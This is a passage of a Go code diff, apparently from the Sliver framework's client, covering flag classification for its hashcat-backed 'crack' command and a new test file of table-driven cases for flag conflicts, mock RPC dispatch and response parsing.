selections = append(selections, crackQueryModeSelection{mode: crackInvocationKeyspace, flagName: "--keyspace"})
|
||||
}
|
||||
if totalCandidates {
|
||||
selections = append(selections, crackQueryModeSelection{mode: crackInvocationTotalCandidates, flagName: "--total-candidates"})
|
||||
}
|
||||
if lookupChanged {
|
||||
selections = append(selections, crackQueryModeSelection{mode: crackInvocationLookup, flagName: "--lookup"})
|
||||
}
|
||||
if identify {
|
||||
selections = append(selections, crackQueryModeSelection{mode: crackInvocationIdentify, flagName: "--identify-mode"})
|
||||
}
|
||||
if hashInfo || hashInfoLevelChanged {
|
||||
selections = append(selections, crackQueryModeSelection{mode: crackInvocationHashInfo, flagName: "--hash-info"})
|
||||
}
|
||||
if len(selections) > 1 {
|
||||
names := make([]string, 0, len(selections))
|
||||
for _, selection := range selections {
|
||||
names = append(names, selection.flagName)
|
||||
}
|
||||
sort.Strings(names)
|
||||
return crackInvocation{}, fmt.Errorf("crack query modes cannot be combined: %s", strings.Join(names, ", "))
|
||||
}
|
||||
if len(selections) == 0 {
|
||||
if flags.Changed("crackstation") {
|
||||
return crackInvocation{}, fmt.Errorf("--crackstation requires --keyspace, --total-candidates, --lookup, --identify-mode, or --hash-info")
|
||||
}
|
||||
if shouldRunCrack(cmd, args) {
|
||||
return crackInvocation{mode: crackInvocationJob}, nil
|
||||
}
|
||||
return crackInvocation{mode: crackInvocationDashboard}, nil
|
||||
}
|
||||
|
||||
invocation := crackInvocation{mode: selections[0].mode, crackstation: crackstation}
|
||||
switch invocation.mode {
|
||||
case crackInvocationBackendInfo:
|
||||
if !backendInfoLevelChanged {
|
||||
backendInfoLevel = 1
|
||||
}
|
||||
if backendInfoLevel == 0 || backendInfoLevel > maxCrackBackendInfoLevel {
|
||||
return crackInvocation{}, fmt.Errorf("--backend-info-level must be 1 or %d", maxCrackBackendInfoLevel)
|
||||
}
|
||||
conflicts := changedCrackFlagConflicts(flags, map[string]struct{}{
|
||||
"backend-info": {}, "backend-info-level": {}, "timeout": {},
|
||||
})
|
||||
if len(args) != 0 {
|
||||
conflicts = append(conflicts, "positional hash arguments")
|
||||
}
|
||||
if len(conflicts) != 0 {
|
||||
sort.Strings(conflicts)
|
||||
return crackInvocation{}, fmt.Errorf("backend-info query cannot be combined with %s", strings.Join(conflicts, ", "))
|
||||
}
|
||||
invocation.backendInfoLevel = backendInfoLevel
|
||||
case crackInvocationHashInfo:
|
||||
if !hashInfoLevelChanged {
|
||||
hashInfoLevel = 1
|
||||
}
|
||||
if hashInfoLevel == 0 || hashInfoLevel > maxCrackHashInfoLevel {
|
||||
return crackInvocation{}, fmt.Errorf("--hash-info-level must be 1 or %d", maxCrackHashInfoLevel)
|
||||
}
|
||||
conflicts := changedCrackFlagConflicts(flags, map[string]struct{}{
|
||||
"crackstation": {}, "hash-info": {}, "hash-info-level": {}, "hash-mode": {}, "hash-type": {}, "timeout": {},
|
||||
})
|
||||
if len(args) != 0 {
|
||||
conflicts = append(conflicts, "positional hash arguments")
|
||||
}
|
||||
if len(conflicts) != 0 {
|
||||
sort.Strings(conflicts)
|
||||
return crackInvocation{}, fmt.Errorf("hash-info query cannot be combined with %s", strings.Join(conflicts, ", "))
|
||||
}
|
||||
invocation.hashInfoLevel = hashInfoLevel
|
||||
case crackInvocationIdentify:
|
||||
conflicts := changedCrackFlagConflicts(flags, map[string]struct{}{
|
||||
"crackstation": {}, "hash": {}, "identify-mode": {}, "timeout": {},
|
||||
})
|
||||
if len(conflicts) != 0 {
|
||||
return crackInvocation{}, fmt.Errorf("identify query cannot be combined with %s", strings.Join(conflicts, ", "))
|
||||
}
|
||||
if !hasCrackIdentifyInput(flags, args) {
|
||||
return crackInvocation{}, fmt.Errorf("--identify-mode requires a positional hash or --hash")
|
||||
}
|
||||
case crackInvocationKeyspace, crackInvocationTotalCandidates, crackInvocationLookup:
|
||||
if conflicts := candidateQueryConflicts(flags, args, invocation.mode); len(conflicts) != 0 {
|
||||
return crackInvocation{}, fmt.Errorf("%s query cannot be combined with %s", crackInvocationName(invocation.mode), strings.Join(conflicts, ", "))
|
||||
}
|
||||
}
|
||||
return invocation, nil
|
||||
}
|
||||
|
||||
func crackInvocationName(mode crackInvocationMode) string {
|
||||
switch mode {
|
||||
case crackInvocationBackendInfo:
|
||||
return "backend-info"
|
||||
case crackInvocationKeyspace:
|
||||
return "keyspace"
|
||||
case crackInvocationTotalCandidates:
|
||||
return "total-candidates"
|
||||
case crackInvocationLookup:
|
||||
return "lookup"
|
||||
case crackInvocationIdentify:
|
||||
return "identify"
|
||||
case crackInvocationHashInfo:
|
||||
return "hash-info"
|
||||
default:
|
||||
return "crack"
|
||||
}
|
||||
}
|
||||
|
||||
func changedCrackFlagConflicts(flags *pflag.FlagSet, allowed map[string]struct{}) []string {
|
||||
conflicts := make([]string, 0)
|
||||
flags.Visit(func(flag *pflag.Flag) {
|
||||
if _, ok := allowed[flag.Name]; ok || changedBoolFlagIsFalse(flags, flag) {
|
||||
return
|
||||
}
|
||||
conflicts = append(conflicts, "--"+flag.Name)
|
||||
})
|
||||
sort.Strings(conflicts)
|
||||
return conflicts
|
||||
}
|
||||
|
||||
func changedBoolFlagIsFalse(flags *pflag.FlagSet, flag *pflag.Flag) bool {
|
||||
if flag.Value.Type() != "bool" {
|
||||
return false
|
||||
}
|
||||
value, err := flags.GetBool(flag.Name)
|
||||
return err == nil && !value
|
||||
}
|
||||
|
||||
func hasCrackIdentifyInput(flags *pflag.FlagSet, args []string) bool {
|
||||
if len(args) != 0 {
|
||||
return true
|
||||
}
|
||||
hashes, _ := flags.GetStringArray("hash")
|
||||
return len(hashes) != 0
|
||||
}
|
||||
|
||||
func candidateQueryConflicts(flags *pflag.FlagSet, args []string, mode crackInvocationMode) []string {
|
||||
conflicts := make([]string, 0)
|
||||
if len(args) != 0 {
|
||||
conflicts = append(conflicts, "positional hash arguments")
|
||||
}
|
||||
flags.Visit(func(flag *pflag.Flag) {
|
||||
if changedBoolFlagIsFalse(flags, flag) {
|
||||
return
|
||||
}
|
||||
switch flag.Name {
|
||||
case "hash", "credential", "credential-collection":
|
||||
conflicts = append(conflicts, "--"+flag.Name)
|
||||
return
|
||||
case "include-cracked-credentials":
|
||||
includeCracked, _ := flags.GetBool(flag.Name)
|
||||
if includeCracked {
|
||||
conflicts = append(conflicts, "--"+flag.Name)
|
||||
}
|
||||
return
|
||||
case "skip", "limit":
|
||||
if mode != crackInvocationLookup {
|
||||
value, _ := flags.GetUint64(flag.Name)
|
||||
if value != 0 {
|
||||
conflicts = append(conflicts, "--"+flag.Name)
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
if _, incompatible := incompatibleCandidateQueryFlags[flag.Name]; incompatible {
|
||||
conflicts = append(conflicts, "--"+flag.Name)
|
||||
}
|
||||
})
|
||||
sort.Strings(conflicts)
|
||||
return conflicts
|
||||
}
|
||||
@@ -0,0 +1,527 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"google.golang.org/protobuf/reflect/protoreflect"
|
||||
)
|
||||
|
||||
func newCrackDispatchCommand(t *testing.T, flags ...string) *cobra.Command {
|
||||
t.Helper()
|
||||
cmd := &cobra.Command{Use: "crack-test"}
|
||||
cmd.SetContext(context.Background())
|
||||
cmd.Flags().Int64("timeout", 0, "test timeout")
|
||||
bindCrackFlags(cmd.Flags())
|
||||
if err := cmd.Flags().Parse(flags); err != nil {
|
||||
t.Fatalf("parse flags: %v", err)
|
||||
}
|
||||
return cmd
|
||||
}
|
||||
|
||||
func TestClassifyCrackInvocation(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
flags []string
|
||||
args []string
|
||||
wantMode crackInvocationMode
|
||||
wantBackendLevel uint32
|
||||
wantHashLevel uint32
|
||||
wantCrackstation string
|
||||
wantError string
|
||||
}{
|
||||
{name: "dashboard", wantMode: crackInvocationDashboard},
|
||||
{name: "timeout only", flags: []string{"--timeout=5"}, wantMode: crackInvocationDashboard},
|
||||
{name: "positional hash job", args: []string{"hash"}, wantMode: crackInvocationJob},
|
||||
{name: "job flag", flags: []string{"--attack-mode=3"}, wantMode: crackInvocationJob},
|
||||
{name: "explicit false is a no-op", flags: []string{"--backend-info=false"}, wantMode: crackInvocationDashboard},
|
||||
{name: "explicit false with job flag", flags: []string{"--backend-info=false", "--attack-mode=3"}, wantMode: crackInvocationJob},
|
||||
{name: "keyspace false is a no-op", flags: []string{"--keyspace=false"}, wantMode: crackInvocationDashboard},
|
||||
{name: "keyspace false with job flag", flags: []string{"--keyspace=false", "--attack-mode=3"}, wantMode: crackInvocationJob},
|
||||
{name: "keyspace", flags: []string{"--keyspace"}, wantMode: crackInvocationKeyspace},
|
||||
{name: "keyspace candidate flags", flags: []string{"--keyspace", "--attack-mode=3", "--input=?d?d", "--increment"}, wantMode: crackInvocationKeyspace},
|
||||
{name: "keyspace selected station", flags: []string{"--keyspace", "--crackstation= station-one "}, wantMode: crackInvocationKeyspace, wantCrackstation: "station-one"},
|
||||
{name: "keyspace timeout", flags: []string{"--keyspace", "--timeout=5"}, wantMode: crackInvocationKeyspace},
|
||||
{name: "keyspace skip conflict", flags: []string{"--keyspace", "--skip=1"}, wantError: "--skip"},
|
||||
{name: "keyspace zero skip no-op", flags: []string{"--keyspace", "--skip=0"}, wantMode: crackInvocationKeyspace},
|
||||
{name: "keyspace positional hash conflict", flags: []string{"--keyspace"}, args: []string{"hash"}, wantError: "positional hash arguments"},
|
||||
{name: "keyspace hash flag conflict", flags: []string{"--keyspace", "--hash=digest"}, wantError: "--hash"},
|
||||
{name: "keyspace credential conflict", flags: []string{"--keyspace", "--credential=deadbeef"}, wantError: "--credential"},
|
||||
{name: "keyspace collection conflict", flags: []string{"--keyspace", "--credential-collection=secrets"}, wantError: "--credential-collection"},
|
||||
{name: "keyspace include cracked conflict", flags: []string{"--keyspace", "--include-cracked-credentials"}, wantError: "--include-cracked-credentials"},
|
||||
{name: "keyspace and backend info conflict", flags: []string{"--keyspace", "--backend-info"}, wantError: "--keyspace"},
|
||||
{name: "backend info ignores disabled keyspace", flags: []string{"--backend-info", "--keyspace=false"}, wantMode: crackInvocationBackendInfo, wantBackendLevel: 1},
|
||||
{name: "backend info", flags: []string{"--backend-info"}, wantMode: crackInvocationBackendInfo, wantBackendLevel: 1},
|
||||
{name: "backend info and timeout", flags: []string{"--backend-info", "--timeout=5"}, wantMode: crackInvocationBackendInfo, wantBackendLevel: 1},
|
||||
{name: "level one", flags: []string{"--backend-info-level=1"}, wantMode: crackInvocationBackendInfo, wantBackendLevel: 1},
|
||||
{name: "level two", flags: []string{"--backend-info-level=2"}, wantMode: crackInvocationBackendInfo, wantBackendLevel: 2},
|
||||
{name: "explicit level wins", flags: []string{"--backend-info", "--backend-info-level=2"}, wantMode: crackInvocationBackendInfo, wantBackendLevel: 2},
|
||||
{name: "level independently enables mode", flags: []string{"--backend-info=false", "--backend-info-level=2"}, wantMode: crackInvocationBackendInfo, wantBackendLevel: 2},
|
||||
{name: "zero level", flags: []string{"--backend-info-level=0"}, wantError: "must be 1 or 2"},
|
||||
{name: "unsupported level", flags: []string{"--backend-info-level=3"}, wantError: "must be 1 or 2"},
|
||||
{name: "positional conflict", flags: []string{"--backend-info"}, args: []string{"hash"}, wantError: "positional hash arguments"},
|
||||
{name: "job flag conflict", flags: []string{"--backend-info", "--benchmark"}, wantError: "--benchmark"},
|
||||
{name: "input conflict", flags: []string{"--backend-info-level=2", "--input=wordlist"}, wantError: "--input"},
|
||||
{name: "backend info station conflict", flags: []string{"--backend-info", "--crackstation=station-one"}, wantError: "--crackstation"},
|
||||
{name: "total candidates", flags: []string{"--total-candidates", "--attack-mode=3", "--input=?d"}, wantMode: crackInvocationTotalCandidates},
|
||||
{name: "total candidates false", flags: []string{"--total-candidates=false"}, wantMode: crackInvocationDashboard},
|
||||
{name: "total candidates hash conflict", flags: []string{"--total-candidates", "--hash=digest"}, wantError: "--hash"},
|
||||
{name: "total candidates limit conflict", flags: []string{"--total-candidates", "--limit=1"}, wantError: "--limit"},
|
||||
{name: "lookup", flags: []string{"--lookup=candidate", "--attack-mode=3", "--input=?d"}, wantMode: crackInvocationLookup},
|
||||
{name: "lookup allows window", flags: []string{"--lookup=candidate", "--skip=1", "--limit=2"}, wantMode: crackInvocationLookup},
|
||||
{name: "lookup empty", flags: []string{"--lookup="}, wantError: "cannot be empty"},
|
||||
{name: "query modes conflict", flags: []string{"--keyspace", "--total-candidates"}, wantError: "cannot be combined"},
|
||||
{name: "candidate query terminal conflict", flags: []string{"--keyspace", "--show"}, wantError: "--show"},
|
||||
{name: "identify positional", flags: []string{"--identify-mode"}, args: []string{"digest"}, wantMode: crackInvocationIdentify},
|
||||
{name: "identify hash flag", flags: []string{"--identify-mode", "--hash=digest"}, wantMode: crackInvocationIdentify},
|
||||
{name: "identify false", flags: []string{"--identify-mode=false"}, wantMode: crackInvocationDashboard},
|
||||
{name: "identify missing hash", flags: []string{"--identify-mode"}, wantError: "requires a positional hash or --hash"},
|
||||
{name: "identify credential conflict", flags: []string{"--identify-mode", "--credential=deadbeef"}, wantError: "--credential"},
|
||||
{name: "identify hash mode conflict", flags: []string{"--identify-mode", "--hash=digest", "--hash-mode=0"}, wantError: "--hash-mode"},
|
||||
{name: "hash info", flags: []string{"--hash-info"}, wantMode: crackInvocationHashInfo, wantHashLevel: 1},
|
||||
{name: "hash info false", flags: []string{"--hash-info=false"}, wantMode: crackInvocationDashboard},
|
||||
{name: "hash info level", flags: []string{"--hash-info=false", "--hash-info-level=2", "--hash-mode=0", "--crackstation=station-one"}, wantMode: crackInvocationHashInfo, wantHashLevel: 2, wantCrackstation: "station-one"},
|
||||
{name: "hash info zero level", flags: []string{"--hash-info-level=0"}, wantError: "must be 1 or 2"},
|
||||
{name: "hash info unsupported level", flags: []string{"--hash-info-level=3"}, wantError: "must be 1 or 2"},
|
||||
{name: "hash info hash conflict", flags: []string{"--hash-info", "--hash=digest"}, wantError: "--hash"},
|
||||
{name: "crackstation requires query", flags: []string{"--crackstation=station-one"}, wantError: "requires --keyspace"},
|
||||
{name: "crackstation cannot be empty", flags: []string{"--keyspace", "--crackstation= "}, wantError: "cannot be empty"},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
invocation, err := classifyCrackInvocation(newCrackDispatchCommand(t, test.flags...), test.args)
|
||||
if test.wantError != "" {
|
||||
if err == nil || !strings.Contains(err.Error(), test.wantError) {
|
||||
t.Fatalf("classifyCrackInvocation() error = %v, want substring %q", err, test.wantError)
|
||||
}
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
t.Fatalf("classifyCrackInvocation() error = %v", err)
|
||||
}
|
||||
if invocation.mode != test.wantMode || invocation.backendInfoLevel != test.wantBackendLevel ||
|
||||
invocation.hashInfoLevel != test.wantHashLevel || invocation.crackstation != test.wantCrackstation {
|
||||
t.Fatalf("classifyCrackInvocation() = %#v, want mode %d backend level %d hash level %d station %q",
|
||||
invocation, test.wantMode, test.wantBackendLevel, test.wantHashLevel, test.wantCrackstation)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
type crackDispatchRPCCapture struct {
|
||||
rpcpb.SliverRPCClient
|
||||
crackstationsCalls int
|
||||
crackCalls int
|
||||
crackFilesCalls int
|
||||
hadDeadline bool
|
||||
crackHadDeadline bool
|
||||
err error
|
||||
response *clientpb.Crackstations
|
||||
crackResponse *clientpb.CrackResponse
|
||||
crackFilesResponse *clientpb.CrackFiles
|
||||
crackRequest *clientpb.CrackCommand
|
||||
}
|
||||
|
||||
func (capture *crackDispatchRPCCapture) Crackstations(ctx context.Context, _ *commonpb.Empty, _ ...grpc.CallOption) (*clientpb.Crackstations, error) {
|
||||
capture.crackstationsCalls++
|
||||
_, capture.hadDeadline = ctx.Deadline()
|
||||
if capture.err != nil {
|
||||
return nil, capture.err
|
||||
}
|
||||
if capture.response != nil {
|
||||
return capture.response, nil
|
||||
}
|
||||
return &clientpb.Crackstations{}, nil
|
||||
}
|
||||
|
||||
func (capture *crackDispatchRPCCapture) Crack(ctx context.Context, request *clientpb.CrackCommand, _ ...grpc.CallOption) (*clientpb.CrackResponse, error) {
|
||||
capture.crackCalls++
|
||||
_, capture.crackHadDeadline = ctx.Deadline()
|
||||
capture.crackRequest = request
|
||||
if capture.crackResponse != nil {
|
||||
return capture.crackResponse, nil
|
||||
}
|
||||
return &clientpb.CrackResponse{}, nil
|
||||
}
|
||||
|
||||
func (capture *crackDispatchRPCCapture) CrackFilesList(_ context.Context, _ *clientpb.CrackFile, _ ...grpc.CallOption) (*clientpb.CrackFiles, error) {
|
||||
capture.crackFilesCalls++
|
||||
if capture.crackFilesResponse != nil {
|
||||
return capture.crackFilesResponse, nil
|
||||
}
|
||||
return &clientpb.CrackFiles{}, nil
|
||||
}
|
||||
|
||||
func TestCrackBackendInfoQueriesStationsWithoutCreatingJob(t *testing.T) {
|
||||
capture := &crackDispatchRPCCapture{}
|
||||
con := console.NewConsole(false)
|
||||
emptyCommands := func() *cobra.Command { return &cobra.Command{Use: "test"} }
|
||||
if err := console.StartClient(con, capture, nil, nil, emptyCommands, emptyCommands, false, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
CrackCmd(newCrackDispatchCommand(t, "--backend-info", "--timeout=1"), con, nil)
|
||||
if capture.crackstationsCalls != 1 {
|
||||
t.Fatalf("Crackstations calls = %d, want 1", capture.crackstationsCalls)
|
||||
}
|
||||
if capture.crackCalls != 0 || capture.crackFilesCalls != 0 {
|
||||
t.Fatalf("backend-info used job path: Crack=%d CrackFilesList=%d", capture.crackCalls, capture.crackFilesCalls)
|
||||
}
|
||||
if !capture.hadDeadline {
|
||||
t.Fatal("Crackstations context did not inherit --timeout")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrackKeyspaceUsesSynchronousCrackResponse(t *testing.T) {
|
||||
digest := strings.Repeat("a", 64)
|
||||
capture := &crackDispatchRPCCapture{
|
||||
crackResponse: &clientpb.CrackResponse{Query: &clientpb.CrackQueryResult{
|
||||
Mode: clientpb.CrackQueryMode_CRACK_QUERY_KEYSPACE, Value: "100",
|
||||
}},
|
||||
crackFilesResponse: &clientpb.CrackFiles{
|
||||
Files: []*clientpb.CrackFile{{
|
||||
ID: "wordlist-id", Name: "words.txt", Type: clientpb.CrackFileType_WORDLIST, Sha2_256: digest,
|
||||
}},
|
||||
},
|
||||
}
|
||||
con := console.NewConsole(false)
|
||||
emptyCommands := func() *cobra.Command { return &cobra.Command{Use: "test"} }
|
||||
if err := console.StartClient(con, capture, nil, nil, emptyCommands, emptyCommands, false, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
CrackCmd(newCrackDispatchCommand(t, "--keyspace", "--input=words.txt", "--crackstation=station-one", "--timeout=1"), con, nil)
|
||||
if capture.crackCalls != 1 {
|
||||
t.Fatalf("Crack calls = %d, want 1", capture.crackCalls)
|
||||
}
|
||||
if capture.crackstationsCalls != 0 {
|
||||
t.Fatalf("keyspace queried crackstations directly %d times", capture.crackstationsCalls)
|
||||
}
|
||||
if capture.crackFilesCalls != 1 {
|
||||
t.Fatalf("CrackFilesList calls = %d, want 1", capture.crackFilesCalls)
|
||||
}
|
||||
if !capture.crackHadDeadline {
|
||||
t.Fatal("Crack context did not inherit --timeout")
|
||||
}
|
||||
if capture.crackRequest == nil || !capture.crackRequest.Keyspace {
|
||||
t.Fatalf("Crack request = %#v, want keyspace mode", capture.crackRequest)
|
||||
}
|
||||
if capture.crackRequest.Crackstation != "station-one" {
|
||||
t.Fatalf("Crack request station = %q, want station-one", capture.crackRequest.Crackstation)
|
||||
}
|
||||
wantInput := "crackfile://wordlist/" + digest
|
||||
if len(capture.crackRequest.PositionalArguments) != 1 || capture.crackRequest.PositionalArguments[0] != wantInput {
|
||||
t.Fatalf("resolved keyspace inputs = %#v, want %q", capture.crackRequest.PositionalArguments, wantInput)
|
||||
}
|
||||
if len(capture.crackRequest.Hashes) != 0 || len(capture.crackRequest.CredentialIDs) != 0 {
|
||||
t.Fatalf("keyspace request contains hash selectors: %#v", capture.crackRequest)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrackSynchronousQueriesUseCrackRPCWithoutCreatingJob(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
flags []string
|
||||
args []string
|
||||
resultMode clientpb.CrackQueryMode
|
||||
result string
|
||||
check func(*testing.T, *clientpb.CrackCommand)
|
||||
}{
|
||||
{
|
||||
name: "total candidates",
|
||||
flags: []string{"--total-candidates", "--attack-mode=3", "--input=?d", "--crackstation=station-one"},
|
||||
resultMode: clientpb.CrackQueryMode_CRACK_QUERY_TOTAL_CANDIDATES,
|
||||
result: "100",
|
||||
check: func(t *testing.T, command *clientpb.CrackCommand) {
|
||||
if !command.TotalCandidates || command.Crackstation != "station-one" {
|
||||
t.Fatalf("total-candidates request = %#v", command)
|
||||
}
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "lookup",
|
||||
flags: []string{"--lookup=candidate", "--attack-mode=3", "--input=?d"},
|
||||
resultMode: clientpb.CrackQueryMode_CRACK_QUERY_LOOKUP,
|
||||
result: "lookup output",
|
||||
check: func(t *testing.T, command *clientpb.CrackCommand) {
|
||||
if command.Lookup != "candidate" {
|
||||
t.Fatalf("lookup request = %#v", command)
|
||||
}
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "identify",
|
||||
flags: []string{"--identify-mode"},
|
||||
args: []string{"digest"},
|
||||
resultMode: clientpb.CrackQueryMode_CRACK_QUERY_IDENTIFY,
|
||||
result: "identify output",
|
||||
check: func(t *testing.T, command *clientpb.CrackCommand) {
|
||||
if !command.IdentifyMode || len(command.Hashes) != 1 || command.Hashes[0] != "digest" {
|
||||
t.Fatalf("identify request = %#v", command)
|
||||
}
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "hash info",
|
||||
flags: []string{"--hash-info-level=2", "--hash-mode=1000"},
|
||||
resultMode: clientpb.CrackQueryMode_CRACK_QUERY_HASH_INFO,
|
||||
result: "hash-info output",
|
||||
check: func(t *testing.T, command *clientpb.CrackCommand) {
|
||||
if command.HashInfoLevel != 2 || command.HashMode == nil || *command.HashMode != 1000 {
|
||||
t.Fatalf("hash-info request = %#v", command)
|
||||
}
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
capture := &crackDispatchRPCCapture{crackResponse: &clientpb.CrackResponse{Query: &clientpb.CrackQueryResult{
|
||||
Mode: test.resultMode, Value: test.result,
|
||||
}}}
|
||||
con := console.NewConsole(false)
|
||||
emptyCommands := func() *cobra.Command { return &cobra.Command{Use: "test"} }
|
||||
if err := console.StartClient(con, capture, nil, nil, emptyCommands, emptyCommands, false, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
CrackCmd(newCrackDispatchCommand(t, test.flags...), con, test.args)
|
||||
if capture.crackCalls != 1 || capture.crackstationsCalls != 0 {
|
||||
t.Fatalf("RPC calls: Crack=%d Crackstations=%d", capture.crackCalls, capture.crackstationsCalls)
|
||||
}
|
||||
if capture.crackRequest == nil {
|
||||
t.Fatal("Crack request was not captured")
|
||||
}
|
||||
test.check(t, capture.crackRequest)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCanonicalCrackKeyspace(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
response *clientpb.CrackResponse
|
||||
want string
|
||||
wantErr bool
|
||||
}{
|
||||
{name: "canonical", response: &clientpb.CrackResponse{Keyspace: "100"}, want: "100"},
|
||||
{name: "normalizes", response: &clientpb.CrackResponse{Keyspace: " 00100 "}, want: "100"},
|
||||
{name: "zero", response: &clientpb.CrackResponse{Keyspace: "0"}, want: "0"},
|
||||
{name: "missing response", wantErr: true},
|
||||
{name: "missing value", response: &clientpb.CrackResponse{}, wantErr: true},
|
||||
{name: "negative", response: &clientpb.CrackResponse{Keyspace: "-1"}, wantErr: true},
|
||||
{name: "overflow", response: &clientpb.CrackResponse{Keyspace: "18446744073709551616"}, wantErr: true},
|
||||
}
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
got, err := canonicalCrackKeyspace(test.response)
|
||||
if (err != nil) != test.wantErr {
|
||||
t.Fatalf("canonicalCrackKeyspace() error = %v, wantErr %v", err, test.wantErr)
|
||||
}
|
||||
if got != test.want {
|
||||
t.Fatalf("canonicalCrackKeyspace() = %q, want %q", got, test.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrackQueryResponseValue(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
invocation crackInvocation
|
||||
response *clientpb.CrackResponse
|
||||
want string
|
||||
wantError string
|
||||
}{
|
||||
{
|
||||
name: "typed keyspace",
|
||||
invocation: crackInvocation{mode: crackInvocationKeyspace},
|
||||
response: &clientpb.CrackResponse{Query: &clientpb.CrackQueryResult{
|
||||
Mode: clientpb.CrackQueryMode_CRACK_QUERY_KEYSPACE, Value: " 00100 ",
|
||||
}},
|
||||
want: "100",
|
||||
},
|
||||
{
|
||||
name: "typed total candidates",
|
||||
invocation: crackInvocation{mode: crackInvocationTotalCandidates},
|
||||
response: &clientpb.CrackResponse{Query: &clientpb.CrackQueryResult{
|
||||
Mode: clientpb.CrackQueryMode_CRACK_QUERY_TOTAL_CANDIDATES, Value: "42\n",
|
||||
}},
|
||||
want: "42",
|
||||
},
|
||||
{
|
||||
name: "text remains verbatim",
|
||||
invocation: crackInvocation{mode: crackInvocationLookup},
|
||||
response: &clientpb.CrackResponse{Query: &clientpb.CrackQueryResult{
|
||||
Mode: clientpb.CrackQueryMode_CRACK_QUERY_LOOKUP, Value: "line one\nline two\n",
|
||||
}},
|
||||
want: "line one\nline two\n",
|
||||
},
|
||||
{
|
||||
name: "wrong typed mode",
|
||||
invocation: crackInvocation{mode: crackInvocationLookup},
|
||||
response: &clientpb.CrackResponse{Query: &clientpb.CrackQueryResult{
|
||||
Mode: clientpb.CrackQueryMode_CRACK_QUERY_IDENTIFY, Value: "output",
|
||||
}},
|
||||
wantError: "for lookup query",
|
||||
},
|
||||
{
|
||||
name: "new mode cannot use legacy keyspace",
|
||||
invocation: crackInvocation{mode: crackInvocationTotalCandidates},
|
||||
response: &clientpb.CrackResponse{Keyspace: "42"},
|
||||
wantError: "empty total-candidates query result",
|
||||
},
|
||||
{
|
||||
name: "selected keyspace cannot use legacy response",
|
||||
invocation: crackInvocation{mode: crackInvocationKeyspace, crackstation: "station-one"},
|
||||
response: &clientpb.CrackResponse{Keyspace: "42"},
|
||||
wantError: "empty keyspace query result",
|
||||
},
|
||||
{
|
||||
name: "empty text",
|
||||
invocation: crackInvocation{mode: crackInvocationHashInfo},
|
||||
response: &clientpb.CrackResponse{Query: &clientpb.CrackQueryResult{
|
||||
Mode: clientpb.CrackQueryMode_CRACK_QUERY_HASH_INFO, Value: " \n",
|
||||
}},
|
||||
wantError: "empty hash-info query result",
|
||||
},
|
||||
}
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
got, err := crackQueryResponseValue(test.response, test.invocation)
|
||||
if test.wantError != "" {
|
||||
if err == nil || !strings.Contains(err.Error(), test.wantError) {
|
||||
t.Fatalf("crackQueryResponseValue() error = %v, want substring %q", err, test.wantError)
|
||||
}
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got != test.want {
|
||||
t.Fatalf("crackQueryResponseValue() = %q, want %q", got, test.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrackQueryResponsePreservesStderr(t *testing.T) {
|
||||
response := &clientpb.CrackResponse{Query: &clientpb.CrackQueryResult{
|
||||
Mode: clientpb.CrackQueryMode_CRACK_QUERY_LOOKUP,
|
||||
Value: "lookup output",
|
||||
Stderr: "hashcat warning\n",
|
||||
}}
|
||||
value, stderr, err := crackQueryResponse(response, crackInvocation{mode: crackInvocationLookup})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if value != "lookup output" || stderr != "hashcat warning\n" {
|
||||
t.Fatalf("crackQueryResponse() = (%q, %q), want preserved value and stderr", value, stderr)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrackResponseKeyspaceFieldNumberAndRoundTrip(t *testing.T) {
|
||||
field := (&clientpb.CrackResponse{}).ProtoReflect().Descriptor().Fields().ByName("Keyspace")
|
||||
if field == nil {
|
||||
t.Fatal("CrackResponse is missing field Keyspace")
|
||||
}
|
||||
if got, want := field.Number(), protoreflect.FieldNumber(2); got != want {
|
||||
t.Fatalf("CrackResponse.Keyspace tag = %d, want %d", got, want)
|
||||
}
|
||||
queryField := (&clientpb.CrackResponse{}).ProtoReflect().Descriptor().Fields().ByName("Query")
|
||||
if queryField == nil {
|
||||
t.Fatal("CrackResponse is missing field Query")
|
||||
}
|
||||
if got, want := queryField.Number(), protoreflect.FieldNumber(3); got != want {
|
||||
t.Fatalf("CrackResponse.Query tag = %d, want %d", got, want)
|
||||
}
|
||||
stderrField := (&clientpb.CrackQueryResult{}).ProtoReflect().Descriptor().Fields().ByName("Stderr")
